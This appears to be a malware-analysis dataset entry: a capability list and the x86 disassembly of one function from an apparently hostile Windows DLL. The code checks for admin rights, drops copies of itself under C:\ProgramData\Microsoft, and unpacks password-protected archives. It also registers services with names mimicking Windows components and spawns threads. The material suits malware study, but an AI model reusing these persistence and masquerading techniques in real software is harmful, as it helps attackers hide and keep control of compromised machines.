Function at 0x10002980
Capabilities:
Copy file
Create process on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100116e0
mov eax, dword fs:[0]
push eax
sub esp, 0x130
mov eax, dword [0x1001d008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebp + 0xc], 1
jne 0x10002c90
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 1
je 0x100029d1
call fcn.10002890
jmp 0x10002a20
push 0
push 0x1001aa30
call fcn.10008900
add esp, 8
cmp eax, 0xffffffff
je 0x100029e7
jmp 0x10002a20
mov eax, 4
imul ecx, eax, 3
mov dword [ebp + ecx - 0x134], 3
mov dword [ebp - 0x128], 0
push 0x1001aa60
mov edx, dword [ebp - 0x128]
push edx
call fcn.10008600
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
push 0x1001aa64
push 0x1001aa8c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
push 0x1001aaa8
push 0x1001aad0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.C:ProgramDataMicrosoft
lea ecx, [ebp - 0x114]
push ecx
call fcn.10001bb0
add esp, 8
test eax, eax
jne 0x10002a75
jmp 0x10002b15
mov edx, 1
test edx, edx
je 0x10002b15
push 0x1001ab08
call fcn.10001eb0
add esp, 4
test eax, eax
je 0x10002a95
jmp 0x10002b05
push 0
push 0x1001ab18
call fcn.10008900
add esp, 8
cmp eax, 0xffffffff
je 0x10002af3
push 0
push 0x1001ab34
call fcn.10008900
add esp, 8
cmp eax, 0xffffffff
je 0x10002adf
push str.iusb3mon.exe
call fcn.10001eb0
add esp, 4
test eax, eax
je 0x10002ad0
jmp 0x10002add
push 0
push 0x1001ab60
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x10002af1
push 1
push str.C:ProgramDataiusb3mon.dat
push str.C:ProgramDataMicrosoftmicrosoft.dat
call dword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x10002b05
push 1
push 0x1001abc0
push str.C:ProgramDataMicrosoftmicrosoft.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002a75
push 0
push str.c:odbc.inst.ini
call fcn.10008900
add esp, 8
cmp eax, 0xffffffff
je 0x10002b2b
jmp 0x10002b54
push 0
push str.C:ProgramDataMicrosoftEdgeUpdateLogchuangkou.log
call fcn.10008900
add esp, 8
cmp eax, 0xffffffff
je 0x10002b54
push 0
push 0
push 0
push 0x10002050
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push str.C:ProgramDataMicrosoftEdgeUpdateLogLog.log
call fcn.10008900
add esp, 8
cmp eax, 0xffffffff
je 0x10002c3a
push 0xc
lea ecx, [ebp - 0x120]
call fcn.10002810
lea ecx, [ebp - 0x120]
call fcn.10003590
mov dword [ebp - 4], 0
push 0x1001ac80
push 0x1001ac9c
push str.x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_templateWatch.dat_C:ProgramData_
push 0x1001ad5c
push str.x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_ziliao.jpg_C:ProgramDataMicrosoftProgram_
push 0x1001ae28
push str.x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_iusb3mon.dat_iusb3mon.exe_C:ProgramData_
push str.C:un.exe
push str.Windows_Connection_Manager
lea ecx, [ebp - 0x120]
call fcn.10003a50
push str.C:ProgramData_
push 0x1001af24
push str.Adminstrator
push str.C:ProgramDataiusb3mon.exe
push str.Storage_Service
lea ecx, [ebp - 0x120]
call fcn.100044e0
push 0
push 0
push 0
push 0x10002070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10001c70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10001c40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x120]
call fcn.100038c0
jmp 0x10002c73
mov edx, 4
imul eax, edx, 3
mov dword [ebp + eax - 0x13c], 3
mov dword [ebp - 0x12c], 0
push 0x1001b018
mov ecx, dword [ebp - 0x12c]
push ecx
call fcn.10008600
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 1
test edx, edx
je 0x10002c89
push 0x3b9aca00
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002c73
mov eax, 1
jmp 0x10002c95
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10004e3d
mov esp, ebp
pop ebp
ret 0xc